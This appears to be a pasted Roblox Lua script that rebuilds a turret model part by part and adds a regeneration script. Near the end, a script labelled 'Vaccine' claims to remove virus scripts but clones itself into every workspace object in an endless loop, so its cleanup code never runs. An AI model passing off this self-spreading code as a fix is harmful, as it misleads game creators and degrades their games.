  2280. Part132.Parent = Model129
  2281. Part132.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  2282. Part132.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  2283. Part132.Velocity = Vector3.new(-0.27165705, -0.153109163, 13.9671679)
  2284. Part132.Size = Vector3.new(2, 1.20000005, 1)
  2285. Part132.CFrame = CFrame.new(-46.0787697, 9.53359604, 127.476563, -0.999959469, -6.74005059e-05, -0.00775445672, -0.000104183076, 0.999988735, 0.00475051301, 0.00775292329, 0.00475117704, -0.999944687)
  2286. Part132.BackSurface = Enum.SurfaceType.Weld
  2287. Part132.TopSurface = Enum.SurfaceType.Smooth
  2288. Part132.Position = Vector3.new(-46.0787697, 9.53359604, 127.476563)
  2289. Part132.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  2290. SpecialMesh133.Parent = Part132
  2291. SpecialMesh133.MeshType = Enum.MeshType.Wedge
  2292. Part134.Name = "Smooth Block Model"
  2293. Part134.Parent = Model129
  2294. Part134.Rotation = Vector3.new(136.98999, 9.80999947, 8.84999943)
  2295. Part134.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2296. Part134.Velocity = Vector3.new(1.52329302, -0.480651498, 16.9657364)
  2297. Part134.CanCollide = false
  2298. Part134.Size = Vector3.new(2, 1.20000005, 1)
  2299. Part134.CFrame = CFrame.new(-46.3501472, 11.7570744, 127.061676, 0.973658144, -0.151521698, 0.170335367, 0.00238511013, -0.740354478, -0.672210813, 0.227967292, 0.654907584, -0.720491827)
  2300. Part134.BottomSurface = Enum.SurfaceType.Weld
  2301. Part134.Position = Vector3.new(-46.3501472, 11.7570744, 127.061676)
  2302. Part134.Orientation = Vector3.new(42.2399979, 166.699997, 179.819992)
  2303. SpecialMesh135.Parent = Part134
  2304. SpecialMesh135.MeshType = Enum.MeshType.Wedge
  2305. Part136.Name = "Smooth Block Model"
  2306. Part136.Parent = Model129
  2307. Part136.Rotation = Vector3.new(0.769999981, -89.4700012, 0.5)
  2308. Part136.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  2309. Part136.Velocity = Vector3.new(-0.340311468, -0.390796125, 13.8984232)
  2310. Part136.Size = Vector3.new(2, 1.20000005, 1)
  2311. Part136.CFrame = CFrame.new(-44.5904579, 9.54088211, 125.965019, 0.0077545438, -6.74053372e-05, -0.999957502, -0.00475050695, 0.999988735, -0.000104177569, 0.999942064, 0.00475117099, 0.00775280036)
  2312. Part136.BackSurface = Enum.SurfaceType.Weld
  2313. Part136.TopSurface = Enum.SurfaceType.Smooth
  2314. Part136.Position = Vector3.new(-44.5904579, 9.54088211, 125.965019)
  2315. Part136.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  2316. SpecialMesh137.Parent = Part136
  2317. SpecialMesh137.MeshType = Enum.MeshType.Wedge
  2318. Part138.Name = "Smooth Block Model"
  2319. Part138.Parent = Model129
  2320. Part138.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  2321. Part138.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  2322. Part138.Velocity = Vector3.new(-0.407915711, -0.552769125, 13.9663267)
  2323. Part138.Size = Vector3.new(2, 1.20000005, 1)
  2324. Part138.CFrame = CFrame.new(-46.1020432, 9.54784775, 124.476707, 0.999963403, -6.74098119e-05, 0.00775471237, 0.000104215294, 0.999988735, -0.00475055026, -0.0077535985, 0.00475121336, 0.999949932)
  2325. Part138.BackSurface = Enum.SurfaceType.Weld
  2326. Part138.TopSurface = Enum.SurfaceType.Smooth
  2327. Part138.Position = Vector3.new(-46.1020432, 9.54784775, 124.476707)
  2328. Part138.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  2329. SpecialMesh139.Parent = Part138
  2330. SpecialMesh139.MeshType = Enum.MeshType.Wedge
  2331. Part140.Name = "Smooth Block Model"
  2332. Part140.Parent = Model129
  2333. Part140.Rotation = Vector3.new(-0.599999964, 76.8199997, 48.3499985)
  2334. Part140.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2335. Part140.Velocity = Vector3.new(-1.34596419, -0.242688298, 20.3510456)
  2336. Part140.FormFactor = Enum.FormFactor.Plate
  2337. Part140.Size = Vector3.new(1, 0.800000012, 1)
  2338. Part140.CFrame = CFrame.new(-47.6269226, 12.5006695, 125.927261, 0.151520982, -0.170334309, 0.973657012, 0.740353644, 0.672210753, 0.00238544005, -0.654906332, 0.720491409, 0.227968022)
  2339. Part140.BackSurface = Enum.SurfaceType.Weld
  2340. Part140.BottomSurface = Enum.SurfaceType.Weld
  2341. Part140.TopSurface = Enum.SurfaceType.Smooth
  2342. Part140.Position = Vector3.new(-47.6269226, 12.5006695, 125.927261)
  2343. Part140.Orientation = Vector3.new(-0.140000001, 76.8199997, 47.7599983)
  2344. SpecialMesh141.Parent = Part140
  2345. SpecialMesh141.MeshType = Enum.MeshType.Wedge
  2346. Part142.Name = "Smooth Block Model"
  2347. Part142.Parent = Model129
  2348. Part142.Rotation = Vector3.new(179.399994, -76.8199997, 131.649994)
  2349. Part142.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2350. Part142.Velocity = Vector3.new(0.0114042759, 1.37301433, 14.5368576)
  2351. Part142.FormFactor = Enum.FormFactor.Plate
  2352. Part142.Size = Vector3.new(1, 0.800000012, 1)
  2353. Part142.CFrame = CFrame.new(-44.7059441, 12.5078249, 126.611176, -0.151520208, -0.170333013, -0.973655403, -0.740352631, 0.672210515, -0.00238584518, 0.65490514, 0.720490873, -0.227968857)
  2354. Part142.BackSurface = Enum.SurfaceType.Weld
  2355. Part142.BottomSurface = Enum.SurfaceType.Weld
  2356. Part142.TopSurface = Enum.SurfaceType.Smooth
  2357. Part142.Position = Vector3.new(-44.7059441, 12.5078249, 126.611176)
  2358. Part142.Orientation = Vector3.new(0.140000001, -103.18, -47.7599983)
  2359. SpecialMesh143.Parent = Part142
  2360. SpecialMesh143.MeshType = Enum.MeshType.Wedge
  2361. Part144.Name = "Smooth Block Model"
  2362. Part144.Parent = Model129
  2363. Part144.BrickColor = BrickColor.new("Black")
  2364. Part144.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
  2365. Part144.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2366. Part144.Velocity = Vector3.new(-0.769704342, 0.556205392, 17.607338)
  2367. Part144.Size = Vector3.new(2, 1.20000005, 1)
  2368. Part144.CFrame = CFrame.new(-46.1683197, 12.6454926, 126.27578, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303)
  2369. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2370. Part144.Position = Vector3.new(-46.1683197, 12.6454926, 126.27578)
  2371. Part144.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
  2372. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2373. Part145.Name = "Smooth Block Model"
  2374. Part145.Parent = Model129
  2375. Part145.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
  2376. Part145.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2377. Part145.Velocity = Vector3.new(-2.29835081, 1.24742377, 18.0350952)
  2378. Part145.FormFactor = Enum.FormFactor.Plate
  2379. Part145.Size = Vector3.new(2, 0.400000006, 1)
  2380. Part145.CFrame = CFrame.new(-46.0471077, 13.2377796, 125.751862, -0.97365582, 0.151520386, 0.170333385, -0.00238573598, 0.740352869, -0.672210753, -0.227968588, -0.654905319, -0.720491052)
  2381. Part145.BackSurface = Enum.SurfaceType.Weld
  2382. Part145.BottomSurface = Enum.SurfaceType.Weld
  2383. Part145.Position = Vector3.new(-46.0471077, 13.2377796, 125.751862)
  2384. Part145.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
  2385. SpecialMesh146.Parent = Part145
  2386. SpecialMesh146.MeshType = Enum.MeshType.Wedge
  2387. Model147.Name = "TeamColorBricks"
  2388. Model147.Parent = Model129
  2389. Part148.Name = "Smooth Block Model"
  2390. Part148.Parent = Model147
  2391. Part148.BrickColor = BrickColor.new("White")
  2392. Part148.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
  2393. Part148.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2394. Part148.Velocity = Vector3.new(-1.42069364, 2.79437542, 13.0514545)
  2395. Part148.Size = Vector3.new(2, 1.20000005, 1)
  2396. Part148.CFrame = CFrame.new(-44.4523392, 11.6407576, 125.536987, 0.170336246, 0.151522294, 0.973659217, -0.672210634, 0.740355194, 0.00238480419, -0.720492184, -0.654908657, 0.227966696)
  2397. Part148.BottomSurface = Enum.SurfaceType.Weld
  2398. Part148.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2399. Part148.Position = Vector3.new(-44.4523392, 11.6407576, 125.536987)
  2400. Part148.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
  2401. Part148.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2402. Part149.Name = "Smooth Block Model"
  2403. Part149.Parent = Model147
  2404. Part149.BrickColor = BrickColor.new("White")
  2405. Part149.Rotation = Vector3.new(179.399994, -76.8199997, 41.6499977)
  2406. Part149.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2407. Part149.Velocity = Vector3.new(0.872294664, 1.75753021, 12.4098368)
  2408. Part149.CanCollide = false
  2409. Part149.Size = Vector3.new(2, 1.20000005, 1)
  2410. Part149.CFrame = CFrame.new(-44.6341629, 10.7523317, 126.322876, 0.17033498, -0.151521504, -0.973657787, -0.672210515, -0.74035418, -0.0023851993, -0.720491588, 0.654907405, -0.22796753)
  2411. Part149.BottomSurface = Enum.SurfaceType.Weld
  2412. Part149.TopSurface = Enum.SurfaceType.Smooth
  2413. Part149.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2414. Part149.Position = Vector3.new(-44.6341629, 10.7523317, 126.322876)
  2415. Part149.Orientation = Vector3.new(0.140000001, -103.18, -137.759995)
  2416. Part149.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2417. SpecialMesh150.Parent = Part149
  2418. SpecialMesh150.MeshType = Enum.MeshType.Wedge
  2419. Part151.Name = "Smooth Block Model"
  2420. Part151.Parent = Model147
  2421. Part151.BrickColor = BrickColor.new("White")
  2422. Part151.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
  2423. Part151.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2424. Part151.Velocity = Vector3.new(-3.62802076, 2.67774725, 16.3862896)
  2425. Part151.FormFactor = Enum.FormFactor.Plate
  2426. Part151.Size = Vector3.new(2, 0.400000006, 2)
  2427. Part151.CFrame = CFrame.new(-45.7916107, 12.2294626, 124.671112, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303)
  2428. Part151.TopSurface = Enum.SurfaceType.Smooth
  2429. Part151.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2430. Part151.Position = Vector3.new(-45.7916107, 12.2294626, 124.671112)
  2431. Part151.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
  2432. Part151.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2433. Part152.Name = "Smooth Block Model"
  2434. Part152.Parent = Model147
  2435. Part152.BrickColor = BrickColor.new("White")
  2436. Part152.Rotation = Vector3.new(179.399994, -76.8199997, -138.349991)
  2437. Part152.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2438. Part152.Velocity = Vector3.new(-2.94935274, 3.48561525, 13.4791775)
  2439. Part152.FormFactor = Enum.FormFactor.Plate
  2440. Part152.Size = Vector3.new(2, 0.400000006, 1)
  2441. Part152.CFrame = CFrame.new(-44.3311119, 12.2330418, 125.013062, -0.170332983, 0.151520222, -0.973655462, 0.672210395, 0.740352571, -0.00238582515, 0.720490754, -0.65490514, -0.227968827)
  2442. Part152.BackSurface = Enum.SurfaceType.Weld
  2443. Part152.BottomSurface = Enum.SurfaceType.Weld
  2444. Part152.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2445. Part152.Position = Vector3.new(-44.3311119, 12.2330418, 125.013062)
  2446. Part152.Orientation = Vector3.new(0.140000001, -103.18, 42.2399979)
  2447. Part152.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2448. SpecialMesh153.Parent = Part152
  2449. SpecialMesh153.MeshType = Enum.MeshType.Wedge
  2450. Part154.Name = "Smooth Block Model"
  2451. Part154.Parent = Model147
  2452. Part154.BrickColor = BrickColor.new("White")
  2453. Part154.Rotation = Vector3.new(-0.599999964, 76.8199997, 138.349991)
  2454. Part154.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2455. Part154.Velocity = Vector3.new(-0.485032022, 0.141801596, 18.2240295)
  2456. Part154.CanCollide = false
  2457. Part154.Size = Vector3.new(2, 1.20000005, 1)
  2458. Part154.CFrame = CFrame.new(-47.5551414, 10.7451811, 125.638985, -0.170337349, -0.151522994, 0.973660469, 0.672210813, -0.740356028, 0.00238447357, 0.720492601, 0.654909849, 0.227965981)
  2459. Part154.BottomSurface = Enum.SurfaceType.Weld
  2460. Part154.TopSurface = Enum.SurfaceType.Smooth
  2461. Part154.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2462. Part154.Position = Vector3.new(-47.5551414, 10.7451811, 125.638985)
  2463. Part154.Orientation = Vector3.new(-0.140000001, 76.8199997, 137.759995)
  2464. Part154.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2465. SpecialMesh155.Parent = Part154
  2466. SpecialMesh155.MeshType = Enum.MeshType.Wedge
  2467. Part156.Name = "Smooth Block Model"
  2468. Part156.Parent = Model147
  2469. Part156.BrickColor = BrickColor.new("White")
  2470. Part156.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
  2471. Part156.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
  2472. Part156.Velocity = Vector3.new(-4.30668783, 1.86988568, 19.2933846)
  2473. Part156.FormFactor = Enum.FormFactor.Plate
  2474. Part156.Size = Vector3.new(2, 0.400000006, 1)
  2475. Part156.CFrame = CFrame.new(-47.2521019, 12.2258825, 124.329163, 0.170334131, 0.151520908, 0.973656714, -0.672210753, 0.740353346, 0.00238548429, -0.72049135, -0.654906034, 0.227968112)
  2476. Part156.BackSurface = Enum.SurfaceType.Weld
  2477. Part156.BottomSurface = Enum.SurfaceType.Weld
  2478. Part156.TopSurface = Enum.SurfaceType.Smooth
  2479. Part156.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2480. Part156.Position = Vector3.new(-47.2521019, 12.2258825, 124.329163)
  2481. Part156.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
  2482. Part156.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2483. SpecialMesh157.Parent = Part156
  2484. SpecialMesh157.MeshType = Enum.MeshType.Wedge
  2485. BoolValue158.Name = "TeamGame"
  2486. BoolValue158.Parent = Model111
  2487. BoolValue158.Value = true
  2488. BrickColorValue159.Name = "TeamColor"
  2489. BrickColorValue159.Parent = Model111
  2490. BrickColorValue159.Value = BrickColor.new("White")
  2491. BoolValue160.Name = "Target Zombies"
  2492. BoolValue160.Parent = Model111
  2493. BoolValue160.Value = true
  2494. BoolValue161.Name = "Target Humanoids"
  2495. BoolValue161.Parent = Model111
  2496. IntValue162.Name = "ScanRange"
  2497. IntValue162.Parent = Model111
  2498. IntValue162.Value = 300
  2499. Humanoid163.Parent = Model111
  2500. Humanoid163.Health = 0
  2501. Humanoid163.MaxHealth = 0
  2502. IntValue164.Name = "Clips"
  2503. IntValue164.Parent = Model111
  2504. IntValue164.Value = 10
  2505. IntValue165.Name = "AmmoClip"
  2506. IntValue165.Parent = Model111
  2507. IntValue165.Value = 100
  2508. Script166.Name = "RegenScript"
  2509. Script166.Parent = Model111
  2510. Script166.Disabled = true
  2511. table.insert(cors,sandbox(Script166,function()
  2512. model = script.Parent
  2513. backup = model:clone()
  2514. active = false
  2515. function Regen(part)
  2516. if(active == false) then
  2517. active = true
  2518. script.Parent:breakJoints()
  2519. script.Parent.Brain.Destroyed.Value = true
  2520. wait(1)
  2521. model:remove()
  2522. model = backup:Clone()
  2523. wait(30)
  2524. model.Parent = game.Workspace
  2525. model:MakeJoints()
  2526. end
  2527. end
  2528.  
  2529. function retriveParts(model,myColor)
  2530. local raw_model = model:GetChildren()
  2531. for i=1,#raw_model do
  2532. local part = raw_model[i]
  2533. if(part ~= nil) then
  2534. part.BrickColor = myColor
  2535. end
  2536. end
  2537. end
  2538.  
  2539. function setTeam()
  2540. local brain = script.Parent.Brain
  2541. local isTeamGame = script.Parent.TeamGame.Value
  2542. if(isTeamGame == true) then
  2543. retriveParts(script.Parent.BodyKit.TeamColorBricks,script.Parent.TeamColor.Value)
  2544. if(brain:findFirstChild("Point") ~= nil) then
  2545. brain.Point.BrickColor = script.Parent.TeamColor.Value
  2546. end
  2547. if(brain:findFirstChild("TurretEngine") ~= nil) then
  2548. brain.TurretEngine.BrickColor = script.Parent.TeamColor.Value
  2549. end
  2550. if(script.Parent:findFirstChild("Head") ~= nil) then
  2551. script.Parent.Head.BrickColor = script.Parent.TeamColor.Value
  2552. end
  2553. else
  2554. retriveParts(script.Parent.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
  2555. if(brain:findFirstChild("Point") ~= nil) then
  2556. brain.Point.BrickColor = BrickColor.new("Dark stone grey")
  2557. end
  2558. if(brain:findFirstChild("TurretEngine") ~= nil) then
  2559. brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
  2560. end
  2561. if(script.Parent:findFirstChild("Head") ~= nil) then
  2562. script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
  2563. end
  2564. end
  2565. end
  2566. setTeam()
  2567. model.BodyKit.ChildRemoved:connect(Regen)
  2568. model.ChildRemoved:connect(Regen)
  2569. model.Brain.ChildRemoved:connect(Regen)
  2570. script.Parent.TeamColor.Changed:connect(setTeam)
  2571. script.Parent.TeamGame.Changed:connect(setTeam)
  2572.  
  2573. end))
  2574. Script167.Name = "Vaccine"
  2575. Script167.Parent = Model0
  2576. table.insert(cors,sandbox(Script167,function()
  2577. function spread() -- created by szymkom
  2578. local stuff = game.Workspace:GetChildren()
  2579. for i = 1, #stuff do
  2580. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2581. local clone = script:clone()
  2582. clone.Parent = stuff[i]
  2583. end
  2584. end
  2585. end
  2586.  
  2587. while true do
  2588. wait(.0)
  2589. spread()
  2590. end
  2591.  
  2592. function GetAllItems(mdl)
  2593. local objs = {}
  2594. function Search(obj)
  2595. if obj~=workspace then
  2596. table.insert(objs,obj)
  2597. end
  2598. if #obj:GetChildren() > 0 then
  2599. for i, v in ipairs(obj:GetChildren()) do
  2600. Search(v)
  2601. end
  2602. end
  2603. end
  2604. Search(mdl)
  2605. return objs
  2606. end
  2607.  
  2608.  
  2609.  
  2610. for i, v in ipairs(GetAllItems(workspace)) do
  2611. if v.className == "Script" then
  2612. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2613. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2614. t = Instance.new("ObjectValue")
  2615. t.Name = "IsAVirus"
  2616. t.Parent = v
  2617. end
  2618. end
  2619. end
  2620.  
  2621. for i, v in ipairs(game.Lighting:GetChildren()) do
  2622. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2623. v:remove()
  2624. end
  2625. end
  2626.  
  2627.  
  2628. print("Virus debugged! All clean!")
  2629. end))
  2630. for i,v in pairs(mas:GetChildren()) do
  2631. v.Parent = workspace
  2632. pcall(function() v:MakeJoints() end)
  2633. end
  2634. mas:Destroy()
  2635. for i,v in pairs(cors) do
  2636. spawn(function()
  2637. pcall(v)
  2638. end)
  2639. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement